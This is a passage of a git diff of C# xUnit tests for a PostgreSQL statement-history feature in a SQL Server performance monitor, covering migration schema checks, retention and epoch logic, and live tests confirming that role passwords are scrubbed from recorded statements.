+            Assert.Equal(30L, await ScalarAsync(c, "SELECT delta_calls FROM collect.store_statement_history", ct));
+            Assert.Equal(false, await ScalarAsync(c, "SELECT reset_in_interval FROM collect.store_statement_history", ct));
+            Assert.Equal(
+                await ScalarAsync(c, "SELECT interval_seconds FROM collect.store_statement_history", ct),
+                await ScalarAsync(c, "SELECT interval_seconds FROM collect.store_statement_captures WHERE outcome = 'ok'", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreStatementHistoryRungTests.cs b/Darling/Darling.Tests/StoreStatementHistoryRungTests.cs
new file mode 100644
index 0000000000..96eb0d97c7
--- /dev/null
+++ b/Darling/Darling.Tests/StoreStatementHistoryRungTests.cs
@@ -0,0 +1,222 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the store's statement history (#5097): two plain collect tables and one config
+/// baseline table. Every fact finds the rung by NAME. The live fact mints its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StoreStatementHistoryRungTests
+{
+    public const string RungName = "store-statement-history";
+
+    private const int ProbeOrdinal = 138;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    public static int RungVersion => Rung.Version;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    private static string Statements() =>
+        Regex.Replace(Rung.Sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    private static List<(string Name, string Type)> ColumnsOf(string table)
+    {
+        var sql = Statements();
+        var header = "CREATE TABLE IF NOT EXISTS " + table + "\n(";
+        var start = sql.IndexOf(header, StringComparison.Ordinal);
+        Assert.True(start >= 0, "no CREATE TABLE for " + table);
+        var end = sql.IndexOf("\n)", start, StringComparison.Ordinal);
+        var columns = new List<(string, string)>();
+        foreach (var raw in sql[(start + header.Length)..end].Split('\n'))
+        {
+            var line = raw.Trim().TrimEnd(',');
+            if (line.Length == 0 || line.StartsWith("CONSTRAINT", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var space = line.IndexOf(' ', StringComparison.Ordinal);
+            columns.Add((line[..space], line[(space + 1)..].Replace(" NOT NULL", string.Empty, StringComparison.Ordinal).Trim()));
+        }
+
+        return columns;
+    }
+
+    [Fact]
+    public void TheRungIsRegisteredOnce_InADenseLadder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(163, Rung.Version);
+        Assert.Single(PgMigrations.Scripts, m => m.Name == RungName);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    [Fact]
+    public void TheTablesArePlain_SchemaQualified_AndGuarded()
+    {
+        var sql = Statements();
+
+        Assert.DoesNotContain("create_hypertable", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("timescaledb", sql, StringComparison.OrdinalIgnoreCase);
+        foreach (var match in Regex.Matches(sql, @"(?:CREATE TABLE IF NOT EXISTS|ON)\s+(\S+)").Cast<Match>())
+        {
+            Assert.Matches(@"^(collect|config)\.", match.Groups[1].Value);
+        }
+
+        foreach (var create in Regex.Matches(sql, @"CREATE\s+(?:UNIQUE\s+)?(TABLE|INDEX)\s+(?!IF NOT EXISTS)", RegexOptions.IgnoreCase).Cast<Match>())
+        {
+            Assert.Fail("an unguarded CREATE: " + create.Value);
+        }
+
+        foreach (var verb in new[] { "ALTER ", "UPDATE ", "DELETE ", "GRANT ", "DROP ", "INSERT " })
+        {
+            Assert.DoesNotContain(verb, sql, StringComparison.OrdinalIgnoreCase);
+        }
+
+        foreach (var index in new[]
+        {
+            "idx_store_statement_captures_time\n    ON collect.store_statement_captures(capture_time)",
+            "idx_store_statement_history_time\n    ON collect.store_statement_history(capture_time)",
+            "idx_store_statement_history_query\n    ON collect.store_statement_history(queryid, capture_time)",
+        })
+        {
+            Assert.Contains("CREATE INDEX IF NOT EXISTS " + index, sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("CONSTRAINT pk_store_statement_baseline PRIMARY KEY (role_name, queryid)", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheColumnsAndTypes_ArePinned()
+    {
+        Assert.Equal(
+            ["capture_time:timestamp", "interval_seconds:integer", "stats_reset:timestamp", "dealloc:bigint", "dealloc_delta:bigint",
+             "statements_seen:integer", "statements_kept:integer", "hidden_statements:integer", "outcome:text"],
+            ColumnsOf("collect.store_statement_captures").Select(c => c.Name + ":" + c.Type).ToArray());
+
+        Assert.Equal(
+            ["capture_time:timestamp", "interval_seconds:integer", "role_name:text", "queryid:bigint", "delta_calls:bigint",
+             "delta_total_exec_ms:double precision", "delta_rows:bigint", "delta_shared_blks_hit:bigint", "delta_shared_blks_read:bigint",
+             "delta_temp_blks_written:bigint", "max_exec_ms:double precision", "first_seen:boolean", "entry_restarted:boolean",
+             "reset_in_interval:boolean"],
+            ColumnsOf("collect.store_statement_history").Select(c => c.Name + ":" + c.Type).ToArray());
+
+        Assert.Equal(
+            ["role_name:text", "queryid:bigint", "calls:bigint", "total_exec_ms:double precision", "rows_returned:bigint",
+             "shared_blks_hit:bigint", "shared_blks_read:bigint", "temp_blks_written:bigint", "captured_at:timestamp"],
+            ColumnsOf("config.store_statement_baseline").Select(c => c.Name + ":" + c.Type).ToArray());
+    }
+
+    [Fact]
+    public void NoneOfTheTables_IsACollectorTable()
+    {
+        foreach (var table in new[] { "store_statement_captures", "store_statement_history", "store_statement_baseline" })
+        {
+            Assert.DoesNotContain(CollectorCatalog.All, c => c.TargetTable == table);
+        }
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheHistoryTable_AndMapsAStoreThroughThisRungToThisRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "to_regclass('collect.store_statement_history') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        /* No longer the probe's last arm: V164 (the hourly row-count ledger) landed above it. */
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var parameters = method.GetParameters();
+        Assert.True(ProbeOrdinal < parameters.Length - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasStoreStatementHistory", parameters[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, all)!);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasStoreStatementHistory)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasSlowReads)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0 && thisArm < previousArm, "this arm sits above the previous rung's");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        var armProseStart = viewer.LastIndexOf("/* V163 (#5097)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain("store_statement_history", viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesThePlainTablesAndIndexes_AndRerunningChangesNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the statement history rung's live pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(3L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind = 'r' AND c.relname IN ('store_statement_captures','store_statement_history','store_statement_baseline')", ct));
+            Assert.Equal(3L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_indexes WHERE indexname IN ('idx_store_statement_captures_time','idx_store_statement_history_time','idx_store_statement_history_query')", ct));
+
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= 163", ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreStatementHistoryTests.cs b/Darling/Darling.Tests/StoreStatementHistoryTests.cs
new file mode 100644
index 0000000000..3ed9b90d37
--- /dev/null
+++ b/Darling/Darling.Tests/StoreStatementHistoryTests.cs
@@ -0,0 +1,116 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The store statement history's pure parts (#5097): the epoch decision and the SQL text's shape. No store.</summary>
+public sealed class StoreStatementHistoryTests
+{
+    private static readonly DateTime Previous = new(2026, 1, 1, 10, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void NoPreviousCapture_Rebaselines() =>
+        Assert.Equal(StoreStatementHistory.Epoch.Rebaseline, StoreStatementHistory.DecideEpoch(null, null, Previous));
+
+    [Fact]
+    public void TheSameStamp_IsTheSameEpoch() =>
+        Assert.Equal(StoreStatementHistory.Epoch.SameEpoch, StoreStatementHistory.DecideEpoch(Previous, Previous.AddDays(-3), Previous.AddDays(-3)));
+
+    [Fact]
+    public void BothStampsAbsent_IsTheSameEpoch() =>
+        Assert.Equal(StoreStatementHistory.Epoch.SameEpoch, StoreStatementHistory.DecideEpoch(Previous, null, null));
+
+    [Fact]
+    public void AStampAfterThePreviousCapture_IsAResetInsideTheInterval() =>
+        Assert.Equal(StoreStatementHistory.Epoch.ResetInsideInterval, StoreStatementHistory.DecideEpoch(Previous, Previous.AddDays(-3), Previous.AddMinutes(20)));
+
+    [Fact]
+    public void AStampBeforeThePreviousCapture_ThatDiffers_Rebaselines() =>
+        Assert.Equal(StoreStatementHistory.Epoch.Rebaseline, StoreStatementHistory.DecideEpoch(Previous, Previous.AddDays(-3), Previous.AddDays(-1)));
+
+    [Fact]
+    public void AStampThatVanished_Rebaselines() =>
+        Assert.Equal(StoreStatementHistory.Epoch.Rebaseline, StoreStatementHistory.DecideEpoch(Previous, Previous.AddDays(-3), null));
+
+    [Fact]
+    public void TheSnapshot_ReadsOnlyTheReaderFunction_RanksByTimeAndBindsTheCap()
+    {
+        Assert.DoesNotContain("pg_stat_statements", StoreStatementHistory.SnapshotSql + StoreStatementHistory.CaptureCurrentSql, StringComparison.Ordinal);
+        Assert.Contains("config.store_statement_stats()", StoreStatementHistory.CaptureCurrentSql, StringComparison.Ordinal);
+        Assert.Contains("config.store_statement_stats_info()", StoreStatementHistory.InfoSql, StringComparison.Ordinal);
+        Assert.Contains("queryid IS NOT NULL", StoreStatementHistory.SnapshotSql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY a.delta_total_exec_ms DESC", StoreStatementHistory.SnapshotSql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT $2", StoreStatementHistory.SnapshotSql, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"LIMIT\s+\d", StoreStatementHistory.SnapshotSql);
+    }
+
+    [Fact]
+    public void TheRetentionDeletes_AreOnCaptureTime_AndTheBaselineIsNeverPurged()
+    {
+        Assert.Matches(@"WHERE capture_time < \$1", StoreStatementHistory.HistoryRetentionDeleteSql);
+        Assert.Matches(@"WHERE capture_time < \$1", StoreStatementHistory.CaptureRetentionDeleteSql);
+        Assert.Equal(90, StoreStatementHistory.RetentionDays);
+        Assert.Equal(100, StoreStatementHistory.TopStatements);
+    }
+
+    [Fact]
+    public void EveryCommandInTheFile_SetsADeadline_ThroughOneHelper()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "StoreStatementHistory.cs");
+        var constructions = Regex.Matches(source, @"new\s+NpgsqlCommand\b|\bnew\(sql, connection, transaction\)");
+        Assert.Single(constructions);
+        Assert.Contains("CommandTimeout = SnapshotTimeoutSeconds", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWorkerRunsTheSnapshot_InItsOwnCatch_BeforeTheCollectorCostFlush()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var call = worker.IndexOf("await StoreStatementHistory.SnapshotAsync(", StringComparison.Ordinal);
+        var flush = worker.IndexOf("await _collectorCost.FlushAsync(", StringComparison.Ordinal);
+        Assert.True(call > 0 && call < flush, "the snapshot sits before the collector-cost flush");
+
+        var tail = worker[call..flush];
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException", tail, StringComparison.Ordinal);
+        Assert.Contains("historyBudget.IsCancellationRequested && !budget.IsCancellationRequested", tail, StringComparison.Ordinal);
+        Assert.Contains("_storeStatementHistoryWarned = false;", tail, StringComparison.Ordinal);
+        Assert.Contains("SqlState", tail, StringComparison.Ordinal);
+        Assert.Contains("_storeStatementHistoryWarned", tail, StringComparison.Ordinal);
+        Assert.Contains("LogWarning", tail, StringComparison.Ordinal);
+        Assert.Contains("LogDebug", tail, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The snapshot runs under its own linked slice of the tick's budget, like the re-mask, and a slice that expired
+    /// while the budget did not is caught, so the flushes after it still run.
+    /// </summary>
+    [Fact]
+    public void TheWorkerGivesTheSnapshotItsOwnSlice_SoAnExpiredSliceDoesNotSkipTheFlushes()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        Assert.Contains("using var historyBudget = CancellationTokenSource.CreateLinkedTokenSource(budget.Token);", worker, StringComparison.Ordinal);
+        Assert.Contains("historyBudget.CancelAfter(StoreStatementHistory.SliceBudget);", worker, StringComparison.Ordinal);
+        Assert.Contains("await StoreStatementHistory.SnapshotAsync(connection, DateTime.UtcNow, _logger, historyBudget.Token);", worker, StringComparison.Ordinal);
+        Assert.DoesNotContain("SnapshotAsync(connection, DateTime.UtcNow, _logger, budget.Token)", worker, StringComparison.Ordinal);
+        Assert.True(StoreStatementHistory.SliceBudget < TimeSpan.FromSeconds(300));
+    }
+
+    [Fact]
+    public void TheReadyCheck_AlsoRequiresTheExtensionLoadedAndTheTempPrivilege()
+    {
+        Assert.Contains("name = 'pg_stat_statements.max'", StoreStatementHistory.ReaderReadySql, StringComparison.Ordinal);
+        Assert.Contains("has_database_privilege(current_database(), 'TEMP')", StoreStatementHistory.ReaderReadySql, StringComparison.Ordinal);
+        Assert.Contains("a.queryid, a.role_name", StoreStatementHistory.SnapshotSql, StringComparison.Ordinal);
+        Assert.Contains("$6::integer", StoreStatementHistory.SnapshotSql, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreStatementStatsLiveTests.cs b/Darling/Darling.Tests/StoreStatementStatsLiveTests.cs
index 56946e81a9..bed04ad82a 100644
--- a/Darling/Darling.Tests/StoreStatementStatsLiveTests.cs
+++ b/Darling/Darling.Tests/StoreStatementStatsLiveTests.cs
@@ -54,6 +54,13 @@ public sealed class StoreStatementStatsLiveTests
     private const string PlainOwnerPassword = "PlainOwnerLiteral3899";
     private const string ScrubPassword = "ScrubLiteral3899";
 
+    /* #5602: roles and databases are cluster-wide, so each run names its own and no other test can see them. */
+    private static readonly string RunSuffix = Guid.NewGuid().ToString("N")[..8];
+    private static readonly string Reader = "pgss_reader_" + RunSuffix;
+    private static readonly string Outsider = "pgss_outsider_" + RunSuffix;
+    private static readonly string PlainOwner = "pgss_plainowner_" + RunSuffix;
+    private static readonly string PlainDb = "pgss_plain_" + RunSuffix;
+
     [Fact]
     public async Task OnTheProductsOwnConf_StatementsRankByRole_AndARolePasswordNeverReachesTheView_Gated()
     {
@@ -88,22 +95,22 @@ tracking off. */
                 Assert.Equal("off", await ScalarAsync<string>(c, "SHOW pg_stat_statements.track_utility", ct));
 
                 await ExecAsync(c, "CREATE SCHEMA IF NOT EXISTS config", ct);
-                await ExecAsync(c, $"CREATE ROLE pgss_reader LOGIN PASSWORD '{ReaderPassword}'", ct);
-                await ExecAsync(c, $"CREATE ROLE pgss_outsider LOGIN PASSWORD '{OutsiderPassword}'", ct);
+                await ExecAsync(c, $"CREATE ROLE {Reader} LOGIN PASSWORD '{ReaderPassword}'", ct);
+                await ExecAsync(c, $"CREATE ROLE {Outsider} LOGIN PASSWORD '{OutsiderPassword}'", ct);
 
                 /* Schema USAGE for both, as provisioning gives the product's roles: the outsider's refusal below
                    must come from the missing EXECUTE grant, not from the schema. */
-                await ExecAsync(c, "GRANT USAGE ON SCHEMA config TO pgss_reader, pgss_outsider", ct);
+                await ExecAsync(c, $"GRANT USAGE ON SCHEMA config TO {Reader}, {Outsider}", ct);
 
                 Assert.Equal(
                     StoreStatementStats.SetupOutcome.Ready,
-                    await StoreStatementStats.EnsureAsync(c, "config", ["pgss_reader", "pgss_absent"], NullLogger.Instance, ct));
+                    await StoreStatementStats.EnsureAsync(c, "config", [Reader, "pgss_absent"], NullLogger.Instance, ct));
 
                 /* Both CREATE ROLEs above carried a password literal, and neither was recorded. */
                 Assert.Equal(0L, await CountRecordedAsync(c, "Literal3899", ct));
             }
 
-            var readerCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Username = "pgss_reader", Password = ReaderPassword };
+            var readerCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Username = Reader, Password = ReaderPassword };
             await using var reader = NpgsqlDataSource.Create(readerCs.ConnectionString);
             await using (var r = await reader.OpenConnectionAsync(ct))
             {
@@ -121,14 +128,14 @@ tracking off. */
                 var root0 = doc.RootElement;
                 var statements = root0.GetProperty("statements").EnumerateArray().ToList();
                 var probe = Assert.Single(statements, s => QueryOf(s).Contains("pgss_probe_marker", StringComparison.Ordinal));
-                Assert.Equal("pgss_reader", probe.GetProperty("role").GetString());
+                Assert.Equal(Reader, probe.GetProperty("role").GetString());
                 Assert.Equal(3L, probe.GetProperty("calls").GetInt64());
                 Assert.Contains("$1 AS pgss_probe_marker", QueryOf(probe), StringComparison.Ordinal);
                 Assert.Equal(JsonValueKind.String, probe.GetProperty("query_id").ValueKind);
                 Assert.True(long.TryParse(probe.GetProperty("query_id").GetString(), out _));
                 Assert.DoesNotContain(statements, s => QueryOf(s).Contains("Literal3899", StringComparison.Ordinal));
                 Assert.Contains(root0.GetProperty("by_role").EnumerateArray(), row => row.GetProperty("role").GetString() == "owner");
-                Assert.Contains(root0.GetProperty("by_role").EnumerateArray(), row => row.GetProperty("role").GetString() == "pgss_reader");
+                Assert.Contains(root0.GetProperty("by_role").EnumerateArray(), row => row.GetProperty("role").GetString() == Reader);
                 Assert.False(string.IsNullOrEmpty(root0.GetProperty("stats_since").GetString()));
                 Assert.False(root0.GetProperty("utility_statements_tracked").GetBoolean());
                 Assert.False(root0.GetProperty("connected_as_owner").GetBoolean());
@@ -146,7 +153,7 @@ tracking off. */
             }
 
             /* A role outside the grant is told what it lacks, from the catalog, not handed an error. */
-            var outsiderCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Username = "pgss_outsider", Password = OutsiderPassword };
+            var outsiderCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Username = Outsider, Password = OutsiderPassword };
             await using (var outsider = NpgsqlDataSource.Create(outsiderCs.ConnectionString))
             {
                 var denied = await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(outsider);
@@ -187,7 +194,7 @@ await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(reader, top: 1000),
             await using (var c = await OpenAsync(ownerCs.ConnectionString, ct))
             {
                 await ExecAsync(c, "SET pg_stat_statements.track_utility = on", ct);
-                await ExecAsync(c, $"ALTER ROLE pgss_outsider PASSWORD '{ScrubPassword}'", ct);
+                await ExecAsync(c, $"ALTER ROLE {Outsider} PASSWORD '{ScrubPassword}'", ct);
                 await ExecAsync(c, "RESET pg_stat_statements.track_utility", ct);
                 Assert.Equal(1L, await CountRecordedAsync(c, ScrubPassword, ct));
             }
@@ -226,11 +233,11 @@ await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(reader, top: 1000, full_
                 await ExecAsync(c, "SET pg_stat_statements.track_utility = on", ct);
                 Assert.Equal(
                     StoreStatementStats.SetupOutcome.Ready,
-                    await StoreStatementStats.EnsureAsync(c, "config", ["pgss_reader"], firstPass, ct));
+                    await StoreStatementStats.EnsureAsync(c, "config", [Reader], firstPass, ct));
                 Assert.Equal(0L, await CountRecordedAsync(c, ScrubPassword, ct));
                 Assert.Equal(
                     StoreStatementStats.SetupOutcome.Ready,
-                    await StoreStatementStats.EnsureAsync(c, "config", ["pgss_reader"], secondPass, ct));
+                    await StoreStatementStats.EnsureAsync(c, "config", [Reader], secondPass, ct));
             }
 
             Assert.Contains("Warning: Statement statistics: pg_stat_statements.track_utility is on", firstPass.Joined, StringComparison.Ordinal);
@@ -244,29 +251,29 @@ await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(reader, top: 1000, full_
                and what fixes it, until pg_read_all_stats is granted. */
             await using (var c = await OpenAsync(ownerCs.ConnectionString, ct))
             {
-                await ExecAsync(c, $"CREATE ROLE pgss_plainowner LOGIN NOSUPERUSER PASSWORD '{PlainOwnerPassword}'", ct);
-                await ExecAsync(c, "CREATE DATABASE pgss_plain OWNER pgss_plainowner", ct);
+                await ExecAsync(c, $"CREATE ROLE {PlainOwner} LOGIN NOSUPERUSER PASSWORD '{PlainOwnerPassword}'", ct);
+                await ExecAsync(c, $"CREATE DATABASE {PlainDb} OWNER {PlainOwner}", ct);
             }
 
-            var plainSuperCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Database = "pgss_plain" };
+            var plainSuperCs = new NpgsqlConnectionStringBuilder(ownerCs.ConnectionString) { Database = PlainDb };
             await using (var c = await OpenAsync(plainSuperCs.ConnectionString, ct))
             {
                 await ExecAsync(c, "CREATE EXTENSION pg_stat_statements", ct);
-                await ExecAsync(c, "CREATE SCHEMA config AUTHORIZATION pgss_plainowner", ct);
-                await ExecAsync(c, "GRANT USAGE ON SCHEMA config TO pgss_reader", ct);
+                await ExecAsync(c, $"CREATE SCHEMA config AUTHORIZATION {PlainOwner}", ct);
+                await ExecAsync(c, $"GRANT USAGE ON SCHEMA config TO {Reader}", ct);
                 await ScalarAsync<int>(c, "SELECT 3899 AS pgss_hidden_marker", ct);
             }
 
-            var plainOwnerCs = new NpgsqlConnectionStringBuilder(plainSuperCs.ConnectionString) { Username = "pgss_plainowner", Password = PlainOwnerPassword };
+            var plainOwnerCs = new NpgsqlConnectionStringBuilder(plainSuperCs.ConnectionString) { Username = PlainOwner, Password = PlainOwnerPassword };
             await using (var c = await OpenAsync(plainOwnerCs.ConnectionString, ct))
             {
                 Assert.False(await ScalarAsync<bool>(c, "SELECT pg_catalog.pg_has_role(current_user, 'pg_read_all_settings', 'USAGE')", ct));
                 Assert.Equal(
                     StoreStatementStats.SetupOutcome.Ready,
-                    await StoreStatementStats.EnsureAsync(c, "config", ["pgss_reader"], NullLogger.Instance, ct));
+                    await StoreStatementStats.EnsureAsync(c, "config", [Reader], NullLogger.Instance, ct));
             }
 
-            var plainReaderCs = new NpgsqlConnectionStringBuilder(readerCs.ConnectionString) { Database = "pgss_plain" };
+            var plainReaderCs = new NpgsqlConnectionStringBuilder(readerCs.ConnectionString) { Database = PlainDb };
             await using (var plainReader = NpgsqlDataSource.Create(plainReaderCs.ConnectionString))
             {
                 using (var doc = JsonDocument.Parse(await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(plainReader, top: 1000, full_text: true)))
@@ -277,7 +284,7 @@ await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(reader, top: 1000, full_
 
                 await using (var c = await OpenAsync(ownerCs.ConnectionString, ct))
                 {
-                    await ExecAsync(c, "GRANT pg_read_all_stats TO pgss_plainowner", ct);
+                    await ExecAsync(c, $"GRANT pg_read_all_stats TO {PlainOwner}", ct);
                 }
 
                 using (var doc = JsonDocument.Parse(await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(plainReader, top: 1000, full_text: true)))
diff --git a/Darling/Darling.Tests/StoreStatementStatsTests.cs b/Darling/Darling.Tests/StoreStatementStatsTests.cs
index 43aa271fcb..37538c57f3 100644
--- a/Darling/Darling.Tests/StoreStatementStatsTests.cs
+++ b/Darling/Darling.Tests/StoreStatementStatsTests.cs
@@ -11,6 +11,7 @@
 using System.Text.RegularExpressions;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
@@ -46,7 +47,12 @@ public void TheReaderFunctions_AreDefinersWithAPinnedPathAndStringMode_RevokedFr
            does not name; everything else keeps its timings and reads as withheld, and no row is filtered out on
            its text any more. */
         Assert.Contains($"WHEN s.query ~* {Literal(StoreStatementStats.ReadableStatementPattern)}", sql, StringComparison.Ordinal);
-        Assert.Contains($"AND s.query !~* {Literal(StoreStatementStats.SensitiveStatementPattern)}", sql, StringComparison.Ordinal);
+        /* #5320: the sensitive pattern rides hex-encoded, so the function's recorded text does not name itself;
+           what the server decodes is byte-identical to the shared pattern. */
+        var operand = Regex.Match(sql, @"AND s\.query !~\* \(SELECT pg_catalog\.convert_from\(pg_catalog\.decode\('([0-9a-f]+)', 'hex'\), 'UTF8'\)\)");
+        Assert.True(operand.Success, "the reader function must test the sensitive pattern through the hex operand");
+        Assert.Equal(StoreStatementStats.SensitiveStatementPattern, System.Text.Encoding.UTF8.GetString(Convert.FromHexString(operand.Groups[1].Value)));
+        Assert.DoesNotContain($"!~* {Literal(StoreStatementStats.SensitiveStatementPattern)}", sql, StringComparison.Ordinal);
         /* #3920's review: before PostgreSQL 16, pg_stat_statements keeps a SELECT ... INTO's constants as typed. */
         Assert.Contains("AND NOT (pg_catalog.current_setting('server_version_num')::integer < 160000", sql, StringComparison.Ordinal);
         Assert.Contains($"AND s.query ~* {Literal(StoreStatementStats.SelectIntoPattern)}) THEN s.query", sql, StringComparison.Ordinal);
@@ -147,6 +153,32 @@ public void TheGrant_CoversBothFunctions_OnlyForRolesThatExist()
         Assert.Throws<ArgumentNullException>(() => StoreStatementStats.BuildGrantSql("config", null!));
     }
 
+    /// <summary>
+    /// #5320: the setup statements a pass runs are utility statements, and pg_stat_statements records them as typed
+    /// while <c>track_utility</c> is on. The scrub removes whatever the shared statement filter names, so a setup
+    /// statement the filter names would be recorded, removed and reported as a credential-bearing statement on
+    /// every pass. The filter's keyword-only alternatives name a few procedure and function names on their own,
+    /// which the reader function's text used to carry inside its pattern literal.
+    /// </summary>
+    [Fact]
+    public void TheSetupStatements_AreNotNamedByTheStatementFilter_SoTheScrubNeverRemovesTheProductsOwnDdl()
+    {
+        foreach (var withInfoView in new[] { true, false })
